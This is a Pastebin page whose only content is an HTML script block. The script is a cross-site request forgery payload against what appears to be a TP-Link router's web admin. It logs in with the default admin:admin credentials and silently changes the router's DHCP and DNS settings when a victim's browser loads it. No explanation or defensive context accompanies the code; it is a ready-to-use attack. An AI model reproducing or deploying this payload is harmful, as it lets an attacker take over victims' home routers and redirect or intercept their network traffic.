Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script>
- var xhr = new XMLHttpRequest();
- username = "admin";
- password = "admin";
- xhr.open("GET", "http://xxxxxx/GFYMMXCBFUUNDCLA/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=Save", true);
- xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.setRequestHeader("Authorization", "Basic " + btoa(username + ":" + password));
- xhr.withCredentials = true;
- xhr.send();
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement